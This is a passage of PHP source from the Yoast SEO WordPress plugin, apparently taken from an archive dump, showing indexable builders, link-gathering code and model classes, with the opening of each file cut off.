$this->set_open_graph_image_meta_data( $indexable ); } $timestamps = $this->get_object_timestamps(); $indexable->object_published_at = $timestamps->published_at; $indexable->object_last_modified = $timestamps->last_modified; $indexable->version = $this->version; return $indexable; } /** * Returns the timestamps for the homepage. * * @return object An object with last_modified and published_at timestamps. */ protected function get_object_timestamps() { global $wpdb; $post_statuses = $this->post_helper->get_public_post_statuses(); $replacements = []; $replacements[] = 'post_modified_gmt'; $replacements[] = 'post_date_gmt'; $replacements[] = $wpdb->posts; $replacements[] = 'post_status'; $replacements = \array_merge( $replacements, $post_statuses ); $replacements[] = 'post_password'; $replacements[] = 'post_type'; //phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized. //phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. //phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. return $wpdb->get_row( $wpdb->prepare( ' SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at FROM %i AS p WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ") AND p.%i = '' AND p.%i = 'post' ", $replacements, ), ); //phpcs:enable } } builders/indexable-term-builder.php000064400000021033152076256160013423 0ustar00taxonomy_helper = $taxonomy_helper; $this->version = $versions->get_latest_version_for_type( 'term' ); $this->post_helper = $post_helper; } /** * Formats the data. * * @param int $term_id ID of the term to save data for. * @param Indexable $indexable The indexable to format. * * @return bool|Indexable The extended indexable. False when unable to build. * * @throws Invalid_Term_Exception When the term is invalid. * @throws Term_Not_Built_Exception When the term is not viewable. * @throws Term_Not_Found_Exception When the term is not found. */ public function build( $term_id, $indexable ) { $term = \get_term( $term_id ); if ( $term === null ) { throw new Term_Not_Found_Exception(); } if ( \is_wp_error( $term ) ) { throw new Invalid_Term_Exception( $term->get_error_message() ); } $indexable_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies(); if ( ! \in_array( $term->taxonomy, $indexable_taxonomies, true ) ) { throw Term_Not_Built_Exception::because_not_indexable( $term_id ); } $term_link = \get_term_link( $term, $term->taxonomy ); if ( \is_wp_error( $term_link ) ) { throw new Invalid_Term_Exception( $term_link->get_error_message() ); } $term_meta = $this->taxonomy_helper->get_term_meta( $term ); $indexable->object_id = $term_id; $indexable->object_type = 'term'; $indexable->object_sub_type = $term->taxonomy; $indexable->permalink = $term_link; $indexable->blog_id = \get_current_blog_id(); $indexable->primary_focus_keyword_score = $this->get_keyword_score( $this->get_meta_value( 'wpseo_focuskw', $term_meta ), $this->get_meta_value( 'wpseo_linkdex', $term_meta ), ); $indexable->is_robots_noindex = $this->get_noindex_value( $this->get_meta_value( 'wpseo_noindex', $term_meta ) ); $indexable->is_public = ( $indexable->is_robots_noindex === null ) ? null : ! $indexable->is_robots_noindex; $this->reset_social_images( $indexable ); foreach ( $this->get_indexable_lookup() as $meta_key => $indexable_key ) { $indexable->{$indexable_key} = $this->get_meta_value( $meta_key, $term_meta ); } if ( empty( $indexable->breadcrumb_title ) ) { $indexable->breadcrumb_title = $term->name; } $this->handle_social_images( $indexable ); $indexable->is_cornerstone = $this->get_meta_value( 'wpseo_is_cornerstone', $term_meta ); // Not implemented yet. $indexable->is_robots_nofollow = null; $indexable->is_robots_noarchive = null; $indexable->is_robots_noimageindex = null; $indexable->is_robots_nosnippet = null; $timestamps = $this->get_object_timestamps( $term_id, $term->taxonomy ); $indexable->object_published_at = $timestamps->published_at; $indexable->object_last_modified = $timestamps->last_modified; $indexable->version = $this->version; return $indexable; } /** * Converts the meta noindex value to the indexable value. * * @param string $meta_value Term meta to base the value on. * * @return bool|null */ protected function get_noindex_value( $meta_value ) { if ( $meta_value === 'noindex' ) { return true; } if ( $meta_value === 'index' ) { return false; } return null; } /** * Determines the focus keyword score. * * @param string $keyword The focus keyword that is set. * @param int $score The score saved on the meta data. * * @return int|null Score to use. */ protected function get_keyword_score( $keyword, $score ) { if ( empty( $keyword ) ) { return null; } return $score; } /** * Retrieves the lookup table. * * @return array Lookup table for the indexable fields. */ protected function get_indexable_lookup() { return [ 'wpseo_canonical' => 'canonical', 'wpseo_focuskw' => 'primary_focus_keyword', 'wpseo_title' => 'title', 'wpseo_desc' => 'description', 'wpseo_content_score' => 'readability_score', 'wpseo_inclusive_language_score' => 'inclusive_language_score', 'wpseo_bctitle' => 'breadcrumb_title', 'wpseo_opengraph-title' => 'open_graph_title', 'wpseo_opengraph-description' => 'open_graph_description', 'wpseo_opengraph-image' => 'open_graph_image', 'wpseo_opengraph-image-id' => 'open_graph_image_id', 'wpseo_twitter-title' => 'twitter_title', 'wpseo_twitter-description' => 'twitter_description', 'wpseo_twitter-image' => 'twitter_image', 'wpseo_twitter-image-id' => 'twitter_image_id', ]; } /** * Retrieves a meta value from the given meta data. * * @param string $meta_key The key to extract. * @param array $term_meta The meta data. * * @return string|null The meta value. */ protected function get_meta_value( $meta_key, $term_meta ) { if ( ! $term_meta || ! \array_key_exists( $meta_key, $term_meta ) ) { return null; } $value = $term_meta[ $meta_key ]; if ( \is_string( $value ) && $value === '' ) { return null; } return $value; } /** * Finds an alternative image for the social image. * * @param Indexable $indexable The indexable. * * @return array|bool False when not found, array with data when found. */ protected function find_alternative_image( Indexable $indexable ) { $content_image = $this->image->get_term_content_image( $indexable->object_id ); if ( $content_image ) { return [ 'image' => $content_image, 'source' => 'first-content-image', ]; } return false; } /** * Returns the timestamps for a given term. * * @param int $term_id The term ID. * @param string $taxonomy The taxonomy. * * @return object An object with last_modified and published_at timestamps. */ protected function get_object_timestamps( $term_id, $taxonomy ) { global $wpdb; $post_statuses = $this->post_helper->get_public_post_statuses(); $replacements = []; $replacements[] = 'post_modified_gmt'; $replacements[] = 'post_date_gmt'; $replacements[] = $wpdb->posts; $replacements[] = $wpdb->term_relationships; $replacements[] = 'object_id'; $replacements[] = 'ID'; $replacements[] = $wpdb->term_taxonomy; $replacements[] = 'term_taxonomy_id'; $replacements[] = 'term_taxonomy_id'; $replacements[] = 'taxonomy'; $replacements[] = $taxonomy; $replacements[] = 'term_id'; $replacements[] = $term_id; $replacements[] = 'post_status'; $replacements = \array_merge( $replacements, $post_statuses ); $replacements[] = 'post_password'; //phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized. //phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. //phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. return $wpdb->get_row( $wpdb->prepare( ' SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at FROM %i AS p INNER JOIN %i AS term_rel ON term_rel.%i = p.%i INNER JOIN %i AS term_tax ON term_tax.%i = term_rel.%i AND term_tax.%i = %s AND term_tax.%i = %d WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ") AND p.%i = '' ", $replacements, ), ); //phpcs:enable } } builders/indexable-system-page-builder.php000064400000004150152076256160014713 0ustar00 [ 'title' => 'title-search-wpseo', ], '404' => [ 'title' => 'title-404-wpseo', 'breadcrumb_title' => 'breadcrumbs-404crumb', ], ]; /** * The options helper. * * @var Options_Helper */ protected $options; /** * The latest version of the Indexable_System_Page_Builder. * * @var int */ protected $version; /** * Indexable_System_Page_Builder constructor. * * @param Options_Helper $options The options helper. * @param Indexable_Builder_Versions $versions The latest version of each Indexable Builder. */ public function __construct( Options_Helper $options, Indexable_Builder_Versions $versions ) { $this->options = $options; $this->version = $versions->get_latest_version_for_type( 'system-page' ); } /** * Formats the data. * * @param string $object_sub_type The object sub type of the system page. * @param Indexable $indexable The indexable to format. * * @return Indexable The extended indexable. */ public function build( $object_sub_type, Indexable $indexable ) { $indexable->object_type = 'system-page'; $indexable->object_sub_type = $object_sub_type; $indexable->title = $this->options->get( static::OPTION_MAPPING[ $object_sub_type ]['title'] ); $indexable->is_robots_noindex = true; $indexable->blog_id = \get_current_blog_id(); if ( \array_key_exists( 'breadcrumb_title', static::OPTION_MAPPING[ $object_sub_type ] ) ) { $indexable->breadcrumb_title = $this->options->get( static::OPTION_MAPPING[ $object_sub_type ]['breadcrumb_title'] ); } $indexable->version = $this->version; return $indexable; } } builders/indexable-post-type-archive-builder.php000064400000012326152076256170016045 0ustar00options = $options; $this->version = $versions->get_latest_version_for_type( 'post-type-archive' ); $this->post_helper = $post_helper; $this->post_type_helper = $post_type_helper; } /** * Formats the data. * * @param string $post_type The post type to build the indexable for. * @param Indexable $indexable The indexable to format. * * @return Indexable The extended indexable. * @throws Post_Type_Not_Built_Exception Throws exception if the post type is excluded. */ public function build( $post_type, Indexable $indexable ) { if ( ! $this->post_type_helper->is_post_type_archive_indexable( $post_type ) ) { throw Post_Type_Not_Built_Exception::because_not_indexable( $post_type ); } $indexable->object_type = 'post-type-archive'; $indexable->object_sub_type = $post_type; $indexable->title = $this->options->get( 'title-ptarchive-' . $post_type ); $indexable->description = $this->options->get( 'metadesc-ptarchive-' . $post_type ); $indexable->breadcrumb_title = $this->get_breadcrumb_title( $post_type ); $indexable->permalink = \get_post_type_archive_link( $post_type ); $indexable->is_robots_noindex = $this->options->get( 'noindex-ptarchive-' . $post_type ); $indexable->is_public = ( (int) $indexable->is_robots_noindex !== 1 ); $indexable->blog_id = \get_current_blog_id(); $indexable->version = $this->version; $timestamps = $this->get_object_timestamps( $post_type ); $indexable->object_published_at = $timestamps->published_at; $indexable->object_last_modified = $timestamps->last_modified; return $indexable; } /** * Returns the fallback breadcrumb title for a given post. * * @param string $post_type The post type to get the fallback breadcrumb title for. * * @return string */ private function get_breadcrumb_title( $post_type ) { $options_breadcrumb_title = $this->options->get( 'bctitle-ptarchive-' . $post_type ); if ( $options_breadcrumb_title !== '' ) { return $options_breadcrumb_title; } $post_type_obj = \get_post_type_object( $post_type ); if ( ! \is_object( $post_type_obj ) ) { return ''; } if ( isset( $post_type_obj->label ) && $post_type_obj->label !== '' ) { return $post_type_obj->label; } if ( isset( $post_type_obj->labels->menu_name ) && $post_type_obj->labels->menu_name !== '' ) { return $post_type_obj->labels->menu_name; } return $post_type_obj->name; } /** * Returns the timestamps for a given post type. * * @param string $post_type The post type. * * @return object An object with last_modified and published_at timestamps. */ protected function get_object_timestamps( $post_type ) { global $wpdb; $post_statuses = $this->post_helper->get_public_post_statuses(); $replacements = []; $replacements[] = 'post_modified_gmt'; $replacements[] = 'post_date_gmt'; $replacements[] = $wpdb->posts; $replacements[] = 'post_status'; $replacements = \array_merge( $replacements, $post_statuses ); $replacements[] = 'post_password'; $replacements[] = 'post_type'; $replacements[] = $post_type; //phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized. //phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- We need to use a direct query here. //phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. return $wpdb->get_row( $wpdb->prepare( ' SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at FROM %i AS p WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ") AND p.%i = '' AND p.%i = %s ", $replacements, ), ); //phpcs:enable } } builders/indexable-link-builder.php000064400000044062152076256170013421 0ustar00seo_links_repository = $seo_links_repository; $this->url_helper = $url_helper; $this->post_helper = $post_helper; $this->options_helper = $options_helper; $this->indexable_helper = $indexable_helper; $this->image_content_extractor = $image_content_extractor; } /** * Sets the indexable repository. * * @required * * @param Indexable_Repository $indexable_repository The indexable repository. * @param Image_Helper $image_helper The image helper. * * @return void */ public function set_dependencies( Indexable_Repository $indexable_repository, Image_Helper $image_helper ) { $this->indexable_repository = $indexable_repository; $this->image_helper = $image_helper; } /** * Builds the links for a post. * * @param Indexable $indexable The indexable. * @param string $content The content. Expected to be unfiltered. * * @return SEO_Links[] The created SEO links. */ public function build( $indexable, $content ) { if ( ! $this->indexable_helper->should_index_indexable( $indexable ) ) { return []; } global $post; if ( $indexable->object_type === 'post' ) { $post_backup = $post; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- To setup the post we need to do this explicitly. $post = $this->post_helper->get_post( $indexable->object_id ); \setup_postdata( $post ); $content = \apply_filters( 'the_content', $content ); \wp_reset_postdata(); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- To setup the post we need to do this explicitly. $post = $post_backup; } $content = \str_replace( ']]>', ']]>', $content ); $links = $this->gather_links( $content ); $images = $this->image_content_extractor->gather_images( $content ); if ( empty( $links ) && empty( $images ) ) { $indexable->link_count = 0; $this->update_related_indexables( $indexable, [] ); return []; } if ( ! empty( $images ) && ( $indexable->open_graph_image_source === 'first-content-image' || $indexable->twitter_image_source === 'first-content-image' ) ) { $this->update_first_content_image( $indexable, $images ); } $links = $this->create_links( $indexable, $links, $images ); $this->update_related_indexables( $indexable, $links ); $indexable->link_count = $this->get_internal_link_count( $links ); return $links; } /** * Deletes all SEO links for an indexable. * * @param Indexable $indexable The indexable. * * @return void */ public function delete( $indexable ) { $links = ( $this->seo_links_repository->find_all_by_indexable_id( $indexable->id ) ); $this->seo_links_repository->delete_all_by_indexable_id( $indexable->id ); $linked_indexable_ids = []; foreach ( $links as $link ) { if ( $link->target_indexable_id ) { $linked_indexable_ids[] = $link->target_indexable_id; } } $this->update_incoming_links_for_related_indexables( $linked_indexable_ids ); } /** * Fixes existing SEO links that are supposed to have a target indexable but don't, because of prior indexable * cleanup. * * @param Indexable $indexable The indexable to be the target of SEO Links. * * @return void */ public function patch_seo_links( Indexable $indexable ) { if ( ! empty( $indexable->id ) && ! empty( $indexable->object_id ) ) { $links = $this->seo_links_repository->find_all_by_target_post_id( $indexable->object_id ); $updated_indexable = false; foreach ( $links as $link ) { if ( \is_a( $link, SEO_Links::class ) && empty( $link->target_indexable_id ) ) { // Since that post ID exists in an SEO link but has no target_indexable_id, it's probably because of prior indexable cleanup. $this->seo_links_repository->update_target_indexable_id( $link->id, $indexable->id ); $updated_indexable = true; } } if ( $updated_indexable ) { $updated_indexable_id = [ $indexable->id ]; $this->update_incoming_links_for_related_indexables( $updated_indexable_id ); } } } /** * Gathers all links from content. * * @param string $content The content. * * @return string[] An array of urls. */ protected function gather_links( $content ) { if ( \strpos( $content, 'href' ) === false ) { // Nothing to do. return []; } $links = []; $regexp = ']*href=("??)([^" >]*?)\1[^>]*>'; // Used modifiers iU to match case insensitive and make greedy quantifiers lazy. if ( \preg_match_all( "/$regexp/iU", $content, $matches, \PREG_SET_ORDER ) ) { foreach ( $matches as $match ) { $links[] = \trim( $match[2], "'" ); } } return $links; } /** * Creates link models from lists of URLs and image sources. * * @param Indexable $indexable The indexable. * @param string[] $links The link URLs. * @param int[] $images The image sources. * * @return SEO_Links[] The link models. */ protected function create_links( $indexable, $links, $images ) { $home_url = \wp_parse_url( \home_url() ); $current_url = \wp_parse_url( $indexable->permalink ); $links = \array_map( function ( $link ) use ( $home_url, $indexable ) { return $this->create_internal_link( $link, $home_url, $indexable ); }, $links, ); // Filter out links to the same page with a fragment or query. $links = \array_filter( $links, function ( $link ) use ( $current_url ) { return $this->filter_link( $link, $current_url ); }, ); $image_links = []; foreach ( $images as $image_url => $image_id ) { $image_links[] = $this->create_internal_link( $image_url, $home_url, $indexable, true, $image_id ); } return \array_merge( $links, $image_links ); } /** * Get the post ID based on the link's type and its target's permalink. * * @param string $type The type of link (either SEO_Links::TYPE_INTERNAL or SEO_Links::TYPE_INTERNAL_IMAGE). * @param string $permalink The permalink of the link's target. * * @return int The post ID. */ protected function get_post_id( $type, $permalink ) { if ( $type === SEO_Links::TYPE_INTERNAL ) { return \url_to_postid( $permalink ); } return $this->image_helper->get_attachment_by_url( $permalink ); } /** * Creates an internal link. * * @param string $url The url of the link. * @param array $home_url The home url, as parsed by wp_parse_url. * @param Indexable $indexable The indexable of the post containing the link. * @param bool $is_image Whether or not the link is an image. * @param int $image_id The ID of the internal image. * * @return SEO_Links The created link. */ protected function create_internal_link( $url, $home_url, $indexable, $is_image = false, $image_id = 0 ) { $parsed_url = \wp_parse_url( $url ); $link_type = $this->url_helper->get_link_type( $parsed_url, $home_url, $is_image ); /** * ORM representing a link in the SEO Links table. * * @var SEO_Links $model */ $model = $this->seo_links_repository->query()->create( [ 'url' => $url, 'type' => $link_type, 'indexable_id' => $indexable->id, 'post_id' => $indexable->object_id, ], ); $model->parsed_url = $parsed_url; if ( $model->type === SEO_Links::TYPE_INTERNAL ) { $permalink = $this->build_permalink( $url, $home_url ); return $this->enhance_link_from_indexable( $model, $permalink ); } if ( $model->type === SEO_Links::TYPE_INTERNAL_IMAGE ) { $permalink = $this->build_permalink( $url, $home_url ); /** The `wpseo_force_creating_and_using_attachment_indexables` filter is documented in indexable-link-builder.php */ if ( ! $this->options_helper->get( 'disable-attachment' ) || \apply_filters( 'wpseo_force_creating_and_using_attachment_indexables', false ) ) { $model = $this->enhance_link_from_indexable( $model, $permalink ); } else { $target_post_id = ( $image_id !== 0 ) ? $image_id : WPSEO_Image_Utils::get_attachment_by_url( $permalink ); if ( ! empty( $target_post_id ) ) { $model->target_post_id = $target_post_id; } } if ( $model->target_post_id ) { $file = \get_attached_file( $model->target_post_id ); if ( $file ) { if ( \file_exists( $file ) ) { $model->size = \filesize( $file ); } else { $model->size = null; } [ , $width, $height ] = \wp_get_attachment_image_src( $model->target_post_id, 'full' ); $model->width = $width; $model->height = $height; } else { $model->width = 0; $model->height = 0; $model->size = 0; } } } return $model; } /** * Enhances the link model with information from its indexable. * * @param SEO_Links $model The link's model. * @param string $permalink The link's permalink. * * @return SEO_Links The enhanced link model. */ protected function enhance_link_from_indexable( $model, $permalink ) { $target = $this->indexable_repository->find_by_permalink( $permalink ); if ( ! $target ) { // If target indexable cannot be found, create one based on the post's post ID. $post_id = $this->get_post_id( $model->type, $permalink ); if ( $post_id && $post_id !== 0 ) { $target = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' ); } } if ( ! $target ) { return $model; } $model->target_indexable_id = $target->id; if ( $target->object_type === 'post' ) { $model->target_post_id = $target->object_id; } if ( $model->target_indexable_id ) { $model->language = $target->language; $model->region = $target->region; } return $model; } /** * Builds the link's permalink. * * @param string $url The url of the link. * @param array $home_url The home url, as parsed by wp_parse_url. * * @return string The link's permalink. */ protected function build_permalink( $url, $home_url ) { $permalink = $this->get_permalink( $url, $home_url ); if ( $this->url_helper->is_relative( $permalink ) ) { // Make sure we're checking against the absolute URL, and add a trailing slash if the site has a trailing slash in its permalink settings. $permalink = $this->url_helper->ensure_absolute_url( \user_trailingslashit( $permalink ) ); } return $permalink; } /** * Filters out links that point to the same page with a fragment or query. * * @param SEO_Links $link The link. * @param array $current_url The url of the page the link is on, as parsed by wp_parse_url. * * @return bool Whether or not the link should be filtered. */ protected function filter_link( SEO_Links $link, $current_url ) { $url = $link->parsed_url; // Always keep external links. if ( $link->type === SEO_Links::TYPE_EXTERNAL ) { return true; } // Always keep links with an empty path or pointing to other pages. if ( isset( $url['path'] ) ) { return empty( $url['path'] ) || $url['path'] !== $current_url['path']; } // Only keep links to the current page without a fragment or query. return ( ! isset( $url['fragment'] ) && ! isset( $url['query'] ) ); } /** * Updates the link counts for related indexables. * * @param Indexable $indexable The indexable. * @param SEO_Links[] $links The link models. * * @return void */ protected function update_related_indexables( $indexable, $links ) { // Old links were only stored by post id, so remove all old seo links for this post that have no indexable id. // This can be removed if we ever fully clear all seo links. if ( $indexable->object_type === 'post' ) { $this->seo_links_repository->delete_all_by_post_id_where_indexable_id_null( $indexable->object_id ); } $updated_indexable_ids = []; $old_links = $this->seo_links_repository->find_all_by_indexable_id( $indexable->id ); $links_to_remove = $this->links_diff( $old_links, $links ); $links_to_add = $this->links_diff( $links, $old_links ); if ( ! empty( $links_to_remove ) ) { $this->seo_links_repository->delete_many_by_id( \wp_list_pluck( $links_to_remove, 'id' ) ); } if ( ! empty( $links_to_add ) ) { $this->seo_links_repository->insert_many( $links_to_add ); } foreach ( $links_to_add as $link ) { if ( $link->target_indexable_id ) { $updated_indexable_ids[] = $link->target_indexable_id; } } foreach ( $links_to_remove as $link ) { if ( $link->target_indexable_id ) { $updated_indexable_ids[] = $link->target_indexable_id; } } $this->update_incoming_links_for_related_indexables( $updated_indexable_ids ); } /** * Creates a diff between two arrays of SEO links, based on urls. * * @param SEO_Links[] $links_a The array to compare. * @param SEO_Links[] $links_b The array to compare against. * * @return SEO_Links[] Links that are in $links_a, but not in $links_b. */ protected function links_diff( $links_a, $links_b ) { return \array_udiff( $links_a, $links_b, static function ( SEO_Links $link_a, SEO_Links $link_b ) { return \strcmp( $link_a->url, $link_b->url ); }, ); } /** * Returns the number of internal links in an array of link models. * * @param SEO_Links[] $links The link models. * * @return int The number of internal links. */ protected function get_internal_link_count( $links ) { $internal_link_count = 0; foreach ( $links as $link ) { if ( $link->type === SEO_Links::TYPE_INTERNAL ) { ++$internal_link_count; } } return $internal_link_count; } /** * Returns a cleaned permalink for a given link. * * @param string $link The raw URL. * @param array $home_url The home URL, as parsed by wp_parse_url. * * @return string The cleaned permalink. */ protected function get_permalink( $link, $home_url ) { // Get rid of the #anchor. $url_split = \explode( '#', $link ); $link = $url_split[0]; // Get rid of URL ?query=string. $url_split = \explode( '?', $link ); $link = $url_split[0]; // Set the correct URL scheme. $link = \set_url_scheme( $link, $home_url['scheme'] ); // Add 'www.' if it is absent and should be there. if ( \strpos( $home_url['host'], 'www.' ) === 0 && \strpos( $link, '://www.' ) === false ) { $link = \str_replace( '://', '://www.', $link ); } // Strip 'www.' if it is present and shouldn't be. if ( \strpos( $home_url['host'], 'www.' ) !== 0 ) { $link = \str_replace( '://www.', '://', $link ); } return $link; } /** * Updates incoming link counts for related indexables. * * @param int[] $related_indexable_ids The IDs of all related indexables. * * @return void */ protected function update_incoming_links_for_related_indexables( $related_indexable_ids ) { if ( empty( $related_indexable_ids ) ) { return; } $counts = $this->seo_links_repository->get_incoming_link_counts_for_indexable_ids( $related_indexable_ids ); /** * Fires to signal that incoming link counts for related indexables were updated. * * @param int[] $related_indexable_ids The related indexable Ids to this link change. * * @internal */ \do_action( 'wpseo_related_indexables_incoming_links_updated', $related_indexable_ids ); foreach ( $counts as $count ) { $this->indexable_repository->update_incoming_link_count( $count['target_indexable_id'], $count['incoming'] ); } } /** * Updates the image ids when the indexable images are marked as first content image. * * @param Indexable $indexable The indexable to change. * @param array $images The image array. * * @return void */ public function update_first_content_image( Indexable $indexable, array $images ): void { $current_open_graph_image = $indexable->open_graph_image; $current_twitter_image = $indexable->twitter_image; $first_content_image_url = \key( $images ); $first_content_image_id = \current( $images ); if ( $indexable->open_graph_image_source === 'first-content-image' && $current_open_graph_image === $first_content_image_url && ! empty( $first_content_image_id ) ) { $indexable->open_graph_image_id = $first_content_image_id; } if ( $indexable->twitter_image_source === 'first-content-image' && $current_twitter_image === $first_content_image_url && ! empty( $first_content_image_id ) ) { $indexable->twitter_image_id = $first_content_image_id; } } } builders/indexable-author-builder.php000064400000017125152076256200013760 0ustar00author_archive = $author_archive; $this->version = $versions->get_latest_version_for_type( 'user' ); $this->options_helper = $options_helper; $this->post_helper = $post_helper; } /** * Formats the data. * * @param int $user_id The user to retrieve the indexable for. * @param Indexable $indexable The indexable to format. * * @return Indexable The extended indexable. * * @throws Author_Not_Built_Exception When author is not built. */ public function build( $user_id, Indexable $indexable ) { $exception = $this->check_if_user_should_be_indexed( $user_id ); if ( $exception ) { throw $exception; } $meta_data = $this->get_meta_data( $user_id ); $indexable->object_id = $user_id; $indexable->object_type = 'user'; $indexable->permalink = \get_author_posts_url( $user_id ); $indexable->title = $meta_data['wpseo_title']; $indexable->description = $meta_data['wpseo_metadesc']; $indexable->is_cornerstone = false; $indexable->is_robots_noindex = ( $meta_data['wpseo_noindex_author'] === 'on' ); $indexable->is_robots_nofollow = null; $indexable->is_robots_noarchive = null; $indexable->is_robots_noimageindex = null; $indexable->is_robots_nosnippet = null; $indexable->is_public = ( $indexable->is_robots_noindex ) ? false : null; $indexable->has_public_posts = $this->author_archive->author_has_public_posts( $user_id ); $indexable->blog_id = \get_current_blog_id(); $this->reset_social_images( $indexable ); $this->handle_social_images( $indexable ); $timestamps = $this->get_object_timestamps( $user_id ); $indexable->object_published_at = $timestamps->published_at; $indexable->object_last_modified = $timestamps->last_modified; $indexable->version = $this->version; return $indexable; } /** * Retrieves the meta data for this indexable. * * @param int $user_id The user to retrieve the meta data for. * * @return array List of meta entries. */ protected function get_meta_data( $user_id ) { $keys = [ 'wpseo_title', 'wpseo_metadesc', 'wpseo_noindex_author', ]; $output = []; foreach ( $keys as $key ) { $output[ $key ] = $this->get_author_meta( $user_id, $key ); } return $output; } /** * Retrieves the author meta. * * @param int $user_id The user to retrieve the indexable for. * @param string $key The meta entry to retrieve. * * @return string|null The value of the meta field. */ protected function get_author_meta( $user_id, $key ) { $value = \get_the_author_meta( $key, $user_id ); if ( \is_string( $value ) && $value === '' ) { return null; } return $value; } /** * Finds an alternative image for the social image. * * @param Indexable $indexable The indexable. * * @return array|bool False when not found, array with data when found. */ protected function find_alternative_image( Indexable $indexable ) { $gravatar_image = \get_avatar_url( $indexable->object_id, [ 'size' => 500, 'scheme' => 'https', ], ); if ( $gravatar_image ) { return [ 'image' => $gravatar_image, 'source' => 'gravatar-image', ]; } return false; } /** * Returns the timestamps for a given author. * * @param int $author_id The author ID. * * @return object An object with last_modified and published_at timestamps. */ protected function get_object_timestamps( $author_id ) { global $wpdb; $post_statuses = $this->post_helper->get_public_post_statuses(); $replacements = []; $replacements[] = 'post_modified_gmt'; $replacements[] = 'post_date_gmt'; $replacements[] = $wpdb->posts; $replacements[] = 'post_status'; $replacements = \array_merge( $replacements, $post_statuses ); $replacements[] = 'post_password'; $replacements[] = 'post_author'; $replacements[] = $author_id; //phpcs:disable WordPress.DB.PreparedSQLPlaceholders -- %i placeholder is still not recognized. //phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. //phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. return $wpdb->get_row( $wpdb->prepare( ' SELECT MAX(p.%i) AS last_modified, MIN(p.%i) AS published_at FROM %i AS p WHERE p.%i IN (' . \implode( ', ', \array_fill( 0, \count( $post_statuses ), '%s' ) ) . ") AND p.%i = '' AND p.%i = %d ", $replacements, ), ); //phpcs:enable } /** * Checks if the user should be indexed. * Returns an exception with an appropriate message if not. * * @param string $user_id The user id. * * @return Author_Not_Built_Exception|null The exception if it should not be indexed, or `null` if it should. */ protected function check_if_user_should_be_indexed( $user_id ) { $exception = null; if ( $this->author_archive->are_disabled() ) { $exception = Author_Not_Built_Exception::author_archives_are_disabled( $user_id ); } // We will check if the author has public posts the WP way, instead of the indexable way, to make sure we get proper results even if SEO optimization is not run. // In case the user has no public posts, we check if the user should be indexed anyway. elseif ( $this->options_helper->get( 'noindex-author-noposts-wpseo', false ) === true && $this->author_archive->author_has_public_posts_wp( $user_id ) === false ) { $exception = Author_Not_Built_Exception::author_archives_are_not_indexed_for_users_without_posts( $user_id ); } /** * Filter: Include or exclude a user from being build and saved as an indexable. * Return an `Author_Not_Built_Exception` when the indexable should not be build, with an appropriate message telling why it should not be built. * Return `null` if the indexable should be build. * * @param Author_Not_Built_Exception|null $exception An exception if the indexable is not being built, `null` if the indexable should be built. * @param string $user_id The ID of the user that should or should not be excluded. */ return \apply_filters( 'wpseo_should_build_and_save_user_indexable', $exception, $user_id ); } } models/indexable-extension.php000064400000001022152076256200012505 0ustar00indexable ??= $this->belongs_to( 'Indexable', 'indexable_id', 'id' )->find_one(); return $this->indexable; } } models/indexable.php000064400000012413152076256210010502 0ustar00loaded_extensions[ $class_name ] ) { $this->loaded_extensions[ $class_name ] = $this->has_one( $class_name, 'indexable_id', 'id' )->find_one(); } return $this->loaded_extensions[ $class_name ]; } /** * Enhances the save method. * * @return bool True on success. */ public function save() { if ( $this->permalink ) { $this->sanitize_permalink(); $this->permalink_hash = \strlen( $this->permalink ) . ':' . \md5( $this->permalink ); } if ( \is_string( $this->primary_focus_keyword ) && \mb_strlen( $this->primary_focus_keyword ) > 191 ) { $this->primary_focus_keyword = \mb_substr( $this->primary_focus_keyword, 0, 191, 'UTF-8' ); } return parent::save(); } /** * Sanitizes the permalink. * * @return void */ protected function sanitize_permalink() { if ( $this->permalink === 'unindexed' ) { return; } $permalink_structure = \get_option( 'permalink_structure' ); $permalink_parts = \wp_parse_url( $this->permalink ); if ( ! isset( $permalink_parts['path'] ) ) { $permalink_parts['path'] = '/'; } if ( \substr( $permalink_structure, -1, 1 ) === '/' && \strpos( \substr( $permalink_parts['path'], -5 ), '.' ) === false ) { $permalink_parts['path'] = \trailingslashit( $permalink_parts['path'] ); } $permalink = ''; if ( isset( $permalink_parts['scheme'] ) ) { $permalink .= $permalink_parts['scheme'] . '://'; } if ( isset( $permalink_parts['host'] ) ) { $permalink .= $permalink_parts['host']; } if ( isset( $permalink_parts['port'] ) ) { $permalink .= ':' . $permalink_parts['port']; } if ( isset( $permalink_parts['path'] ) ) { $permalink .= $permalink_parts['path']; } if ( isset( $permalink_parts['query'] ) ) { $permalink .= '?' . $permalink_parts['query']; } // We never set the fragment as the fragment is intended to be client-only. $this->permalink = $permalink; } } models/indexable-hierarchy.php000064400000001111152076256210012447 0ustar00options_helper = $options_helper; } /** * Retrieves the timestamp. * * @param string $format The format in which to return the timestamp. Defaults to 'Y-m-d H:i:s'. * * @return ?string The timestamp when the user started using free sparks, or null if not set. */ public function get( string $format = 'Y-m-d H:i:s' ): ?string { $timestamp = $this->options_helper->get( self::OPTION_KEY, null ); if ( $timestamp === null ) { return null; } return \gmdate( $format, 